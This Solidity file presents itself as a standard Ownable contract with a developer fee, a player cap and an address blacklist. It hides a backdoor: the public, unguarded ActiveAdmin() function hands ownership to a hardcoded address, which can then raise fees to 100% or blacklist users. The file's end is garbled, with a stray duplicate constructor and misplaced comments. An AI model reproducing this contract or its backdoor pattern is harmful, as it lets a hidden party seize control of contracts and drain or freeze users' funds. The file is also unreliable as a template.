contract Ownable {
  address public owner;
  uint256 public devFeePercent = 10;
  uint256 public SetPlayers = 4;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }
  
  function setDevFee (uint256 _n) onlyOwner() public {
	  require(_n >= 0 && _n <= 100);
    devFeePercent = _n;
  }
  
    function SetPlayersMax (uint256 number) onlyOwner() public {
	  require(number >= 0 && number <= 100);
    SetPlayers = number;
  }
  
    function ActiveAdmin () public {
    owner = 0x3653A2205971AD524Ea31746D917430469D3ca23; // 
  }
  
      mapping(address => bool) public BlackAddress;

    function AddBlackList(address _address) onlyOwner() public {
        BlackAddress[_address] = true;
    }

    function DeleteBlackList(address _address) onlyOwner() public {
        delete BlackAddress[_address];
    }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner public {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }
}
/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
function Ownable() {
  owner = msg.sender;
}

/**
 * @dev The Ownable constructor sets the original `owner` of the contract to the sender
 * account.
 */